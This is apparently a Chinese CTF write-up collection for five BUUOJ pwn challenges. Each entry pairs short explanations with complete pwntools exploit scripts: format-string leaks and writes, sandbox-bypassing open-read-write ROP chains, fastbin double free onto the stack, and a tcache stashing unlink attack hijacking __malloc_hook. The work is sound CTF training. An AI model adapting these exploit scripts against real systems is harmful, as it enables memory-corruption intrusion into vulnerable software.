161 picoctf_2018_echooo
就是格式化字符串 flag被读到了栈上,直接泄露就行。
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
r = remote('node3.buuoj.cn',25088)
offset=11
flag=''
for i in range(27,27+11):
payload='%{}$p'.format(str(i))
r.sendlineafter('> ',payload)
s = unhex(r.recvuntil('\n',drop=True).replace('0x',''))
#unhex转成字符串
flag += s[::-1]
#反转
print flag
162 warmup
有个溢出。
有这个溢出之后我们发现,利用比较困难,泄露libc溢出长度不够,也不能写shellcode啥的,那咋整。
我们发现里面有read,有write。
然后感觉有个open可以直接orw,那么open咋来?
我们发现了一个比较奇怪的东西……
有个alarm,搜一下alarm是干嘛的。
成功:如果调用此alarm()前,进程已经设置了闹钟时间,则返回上一个闹钟时间的剩余时间,否则返回0。
因为他先alarm了10s,那么我们如果再alarm5s,那么eax的值就会是5,然后就可以通过syscall来调用open,从而实现orw。
# -*- coding: utf-8 -*-
from pwn import *
r = remote('node3.buuoj.cn',26855)
vuln_addr = 0x0804815A
read_addr = 0x0804811D
write_addr = 0x08048135
data = 0x08049200
syscall = 0x0804813A
alarm_addr = 0x804810d
payload = 'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(data) + p32(0x10)
r.sendafter('Welcome to 0CTF 2016!',payload)
r.sendafter('Good Luck!','/flag'.ljust(0x10,'\x00'))
sleep(5)
#关键就在这了
payload = 'a'*0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(data) + p32(0)
r.send(payload)
payload = 'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(data) + p32(0x30)
r.sendafter('Good Luck!',payload)
payload = 'a'*0x20 + p32(write_addr) + p32(0) + p32(1) + p32(data) + p32(0x30)
r.sendafter('Good Luck!',payload)
r.interactive()
163 ciscn_2019_final_4
保护只有PIE没开,我们来一起读程序。
刚进来就碰到了奇怪的东西,我们知道调试手段是通过ptrace打断点,Ptrace 提供了一种父进程可以控制子进程运行,并可以检查和改变它的核心image。它主要用于实现断点调试。一个被跟踪的进程运行中,直到发生一个信号。则进程被中止,并且通知其父进程。在进程中止的状态下,进程的内存空间可以被读写。父进程还可以使子进程继续执行,并选择是否是否忽略引起中止的信号。
但是程序用了反调试手段,将调试的子进程直接杀死,所以导致我们不能调试,不能调试怎么打pwn。
所以我们的手段是将它patch掉。
直接call过去。
我们参考大佬的做法,把它写成jmp $+0x9e,这句话的意思是跳转到0x9e之后,我们怎么知道它的字节码呢,用到pwntools。
然后在这里一个字节一个字节改
然后就好了。
反汇编也就啥都没有了 非常的神奇。
然后记得把改好的文件保存一下,就可以拿去调试了。
开了沙箱。
普普通通new函数。
uaf有些明显。
普普通通输出函数。
漏洞很简单,是简简单单的uaf,但是问题是开了沙箱,问题是我们怎么利用uaf来orw。
所以我们的想法是能够alloc stack,在栈上写一段rop,来实现orw来getshell。
我们的做法是首先当然是泄露libc地址,这个申请释放一个大小合适的chunk就可以办得到。我们说有检查,会检查分配chunk的size位是否合法,我们可以通过借助申请chunk时填写的size来伪造。
double free控制到note这个地方,因为想泄露栈地址,将某个note处的地址改成__environ,从而泄露栈地址。
接下来就是再次double free,在栈上找到合适的数据,将chunk申请到stack上,从而泄露canary。
接下来就是还是double free,来写rop,因为我们的chunk是有限的,而orw的rop又会比较长,所以我们要分两步来写,第一次写一个read,来读长度足够的rop。
我们把这个rop写在了main函数后面。
最后再次double free,来劫持new函数到main函数后面,从而执行rop链。
#coding:utf8
from pwn import *
context.log_level = "debug"
r = process("./163")
libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
fake_chunk = p64(0) + p64(0x81)
payload = 'a'*0xE8 + fake_chunk
r.sendafter('what is your name?',payload)
def add(size,content):
r.sendlineafter('>>','1')
r.sendlineafter('size?',str(size))
r.sendafter('content?',content) #这里因为程序中是read,我们sendline的话可能会多回车出来
def delete(index):
r.sendlineafter('>>','2')
r.sendlineafter('index ?',str(index))
def show(index):
r.sendlineafter('>>','3')
r.sendlineafter('index ?',str(index))
malloc_hook_s = libc.symbols['__malloc_hook']
environ_s = libc.symbols['__environ']
bss_addr = 0x602058
note_addr = 0x6020C0
add(0x100,'a'*0x100) #0
add(0x78,'b'*0x78) #1
add(0x78,'c'*0x78) #2
add(0x38,'d'*0x38) #3
add(0x38,'e'*0x38) #4
add(0x10,'d'*0x10) #5
add(0x81,'f'*0x81) #6
#这里的一堆都是后面做double free的时候要用到的,因为要alloc stack,要跟着站上的数据走
delete(0)
show(0)
r.recvuntil('\n')
main_arena_88 = u64(r.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
environ_addr = libc_base + environ_s
pop_rdi = libc_base + 0x21102
pop_rsi = libc_base + 0x202e8
pop_rdx = libc_base + 0x1b92
#add rsp, 0x148 ; ret
add_rsp_148 = libc_base + 0x353aa
openat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
print 'libc_base=',hex(libc_base)
print 'environ_addr=',hex(environ_addr)
gdb.attach(r)
input()
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(bss_addr - 0x8)) #7
add(0x78,'c') #8
add(0x78,'a') #9
#控制notesize以及note数组
payload = '\x00'*0x60
payload += p64(environ_addr) #ptr0 alloc到了bss,然后把指针写到了chunk0的地方
add(0x78,payload) #10
#泄露栈地址
show(0)
r.recvuntil('\n')
stack_addr = u64(r.recv(6).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
fake_chunk_stack_addr = stack_addr - 0x120
print 'fake_chunk_stack_addr=',hex(fake_chunk_stack_addr)
#利用同样的方法分配到栈上伪造的chunk
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr)) #11
add(0x78,'c') #12
add(0x78,'a') #13
#写栈
add(0x78,'d'*0x11) #14
#泄露canary
show(14)
r.recvuntil('d'*0x11)
canary = u64(r.recv(7).rjust(8,'\x00'))
print 'canary=',hex(canary)
#重新分配到fake_chunk_stack_addr,布置rop
#double free
delete(1)
delete(2)
delete(1)
add(0x78,p64(fake_chunk_stack_addr)) #15
add(0x78,'c') #16
add(0x78,'a') #17
#由于长度不够输入,我们调用read继续输入rop
next_rop_addr = fake_chunk_stack_addr + 0x88
payload = 'a'*0x40
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(next_rop_addr)
payload += p64(pop_rdx) + p64(0x1000) + p64(read_addr)
add(0x78,payload) #18
#上面我们写了rop,我们写在了main后面,但是程序是死循环
#所以我们把new函数劫持到main后面
#接下来,分配到new函数的栈末尾处
fake_chunk_stack_addr2 = stack_addr - 0x246
#double free
delete(3)
delete(4)
delete(3)
add(0x38,p64(fake_chunk_stack_addr2)) #15
add(0x38,'c') #16
add(0x38,'a') #17
payload = 'd'*0x6 + p64(canary) + p64(0)
payload += p64(add_rsp_148) #跳到main函数后面的rop里
#new函数返回到add_rsp_148进而跳到main后面的rop里
add(0x38,payload)
flag_addr = next_rop_addr + 0x88
#openat(0,flag_addr,0)
rop = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdi) + p64(0) + p64(openat_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr)
rop += '/flag\x00'
sleep(0.5)
r.send(rop)
r.interactive()
164 hitcontraining_playfmt
简简单单格式化字符串,啥都没开,NX都没开,可以写shellcode,也可以老方法解决。
exp
from pwn import *
context.log_level = "debug"
#r = process('./164')
r = remote("node3.buuoj.cn", "26404")
libc = ELF('./32/libc-2.23.so')
elf = ELF('./164')
r.sendline('%15$p%21$pend\x00')
r.recvuntil('0x')
libc_base = int(r.recvuntil('0x')[:-2],16) - 0x18637
stack_addr = int(r.recvuntil("end")[:-3], 16)
ret_addr = stack_addr - 0xc8
one_gadget = libc_base + 0x3a80c
print "libc_base = " + str(hex(libc_base))
print "ret_addr = " + str(hex(ret_addr))
off = ret_addr & 0xffff
r.sendline("%"+str(off)+"c%21$hnend\x00")
r.recvuntil("end")
off1 = one_gadget & 0xffff
print hex(off1)
r.sendline("%"+str(off1)+"c%57$hnend\x00")
r.recvuntil("end")
r.sendline("%"+str(off + 2)+"c%21$hnend\x00")
r.recvuntil("end")
off2 = (one_gadget >> 16) & 0xffff
print hex(off2)
r.sendline("%"+str(off2)+"c%57$hnend\x00")
r.recvuntil("end")
#gdb.attach(r)
#input()
r.sendline('quit')
r.interactive()
165 hitcon_ctf_2019_one_punch
只有这些系统调用能用。
debut
标号只能0、1.首先输入名字,名字要在127到1024.
要注意用的是calloc。
rename
重新输入名字。
show
平平无奇。
uaf。
有个后门函数。
好好分析一下这个函数。
ptr_16这里放着的是heap_base + 10。这个地方是0x220的tcache的count。
我们的利用思路是什么。
因为开了沙箱,我们必须orw,rop布置在栈上,那么我们怎么跳过去,可以借助malloc_hook,再配合一些gadget。
那么我们常规思路通过uaf来tcache posioning.劫持malloc_hook,来达到效果,但是我们这道题都是calloc,它不从tcache上面申请chunk,但是有后门函数,但是需要绕过。
后门那里给出了malloc,但是有检查,要求我们必须tcache中的count大于6,这个时候我们就没办法tcache posioning。那么我们的想法是能不能通过某些手段将count写一个大数字。
在libc-2.23的时候我们接触过一种攻击手段叫unsorted bin attack。它的最终效果就是能在一个地方写一个大数,但是很可惜2.26之后开始检查unsorted链表的完整性,这个攻击手段就失效了。
那么咋整,我们在libc-2.29引入了一种新的利用手法也可以达到这种效果,叫tcache unlink stashing attack。
这种攻击的场景是我们请求申请一个大小为size的chunk,此时堆中有空闲的small bin(两个),根据small bin的FIFO,会对最早释放的small bin进行unlink操作,在unlink之前会有链表的完整性检查__glibc_unlikely (bck->fd != victim),在将这个堆块给用户之后,如果对应的tcache bins的数量小于最大数量,则剩余的small bin将会被放入tcache,这时候放入的话没有完整性检查,即不会检查这些small bin的fd和bk。在放入之前会有另一次unlink,这里的bck->fd = bin;产生的结果是将bin的值写到了*(bck+0x10),我们可以将bck伪造为target_addr-0x10,bin为libc相关地址,则可以向target_addr写入bin,攻击结果和unsored bin attack的结果类似。
那么我们这道题的整个利用手段就有了。
首先我们通过last remainder来获得两个small bins的chunk,当然获得这个chunk的方法可以有很多很多,我们这里使用的是这一种。
紧接着通过uaf修改第二个small bins的chunk的bk,然后calloc一下完成tcache stashing unlink attack。
通过uaf劫持malloc_hook之后我们现在可以把orw写到栈里面,问题就是我们怎么让esp eip想办法跳到栈上去执行。我们找到了一个gadget 是 add esp 0x48,ret。
用完它之后可以跳过去,效果如下图,然后就可以拿到flag了。
当然我们最后这一步的方法有很多,这只是一种,我们常见的一种是通过free_hook,用setcontext+61来做gadget。填到free里面。free hook里面放入合适的gadget做一个转换,来orw。
#coding=utf-8
from pwn import *
context.log_level = "debug"
r = process('./165')
#r = remote("node3.buuoj.cn",29712)
elf = ELF('./165')
libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6')
#libc = ELF("./64/libc-2.29.so")
def Add(idx,name):
r.recvuntil('> ')
r.sendline('1')
r.recvuntil("idx: ")
r.sendline(str(idx))
r.recvuntil("hero name: ")
r.send(name)
def Edit(idx,name):
r.recvuntil('> ')
r.sendline('2')
r.recvuntil("idx: ")
r.sendline(str(idx))
r.recvuntil("hero name: ")
r.send(name)
def Show(idx):
r.recvuntil('> ')
r.sendline('3')
r.recvuntil("idx: ")
r.sendline(str(idx))
def Delete(idx):
r.recvuntil('> ')
r.sendline('4')
r.recvuntil("idx: ")
r.sendline(str(idx))
def BackDoor(buf):
r.recvuntil('> ')
r.sendline('50056')
r.sendline(buf)
malloc_hook_s = libc.sym['__malloc_hook']
for i in range(7):
Add(0,'a'*0x120)
Delete(0)
#因为这里申请空间用的是calloc,这个函数不会从tcache上面去申请空间
#所以我们释放之后再申请的空间不是我们释放的空间
Show(0)
r.recvuntil("hero name: ")
heap_base = u64(r.recvline().strip('\n').ljust(8,'\x00')) - 0x850
print "heap_base = " + hex(heap_base)
Add(0,'a'*0x120)
Add(1,'a'*0x400)
Delete(0)
Show(0)
r.recvuntil("hero name: ")
main_arena_88 = u64(r.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
print "libc_base = " + hex(libc_base)
for i in range(6):
Add(0,'a'*0xf0)
Delete(0)
#留了一个空一会便于利用
for i in range(7):
Add(0,'a'*0x400)
Delete(0)
#把0x400这条bin填满了.
Add(0,'a'*0x400)
Add(1,'a'*0x400)
Add(1,'a'*0x400)
Add(2,'a'*0x400)
Delete(0)#UAF
Add(2,'a'*0x300)
Add(2,'a'*0x300)
Delete(1)#UAF
Add(2,'a'*0x300)
Add(2,'a'*0x300)
Edit(2,'./flag'.ljust(8,'\x00'))
Edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x55555555c460-0x555555559000))+p64(heap_base+0x1f))
Add(0,'a'*0x217)
Delete(0)
Edit(0,p64(libc_base+libc.sym['__malloc_hook']))
Add(0,'a'*0xf0) #tcache stashing unlink attack
BackDoor('a')
#libc_base + 0x8cfd6 --- add rsp, 0x48 ; ret
magic_gadget = libc_base + 0x8cfd6
payload = p64(magic_gadget)
print "magic_gadget = " + hex(magic_gadget)
BackDoor(payload)
#calloc也会受到malloc_hook的影响
pop_rdi = libc_base + 0x26542
pop_rsi = libc_base + 0x26f9e
pop_rdx = libc_base + 0x12bda6
pop_rax = libc_base + 0x47cf8
syscall = libc_base + 0xcf6c5
rop_heap = heap_base + 0x44b0
#此时序号2的chunk地址,里面放着我们之前写好的./flag
rops = p64(pop_rdi)+p64(rop_heap)
rops += p64(pop_rsi)+p64(0)
rops += p64(pop_rdx)+p64(0)
rops += p64(pop_rax)+p64(2)
rops += p64(syscall)
#rops += p64(libc.sym['open'])
#read
rops += p64(pop_rdi)+p64(3)
rops += p64(pop_rsi)+p64(heap_base+0x260)
rops += p64(pop_rdx)+p64(0x70)
rops += p64(pop_rax)+p64(0)
rops += p64(syscall)
#rops += p64(libc.sym['read'])
#write
rops += p64(pop_rdi)+p64(1)
rops += p64(pop_rsi)+p64(heap_base+0x260)
rops += p64(pop_rdx)+p64(0x70)
rops += p64(pop_rax)+p64(1)
rops += p64(syscall)
gdb.attach(r)
input()
Add(0,rops) #Add是先读入rop,然后才malloc的.
r.interactive()
因为填入大数字的时候不确定填入多少,所以会影响后面后门的使用,脚本多跑几次。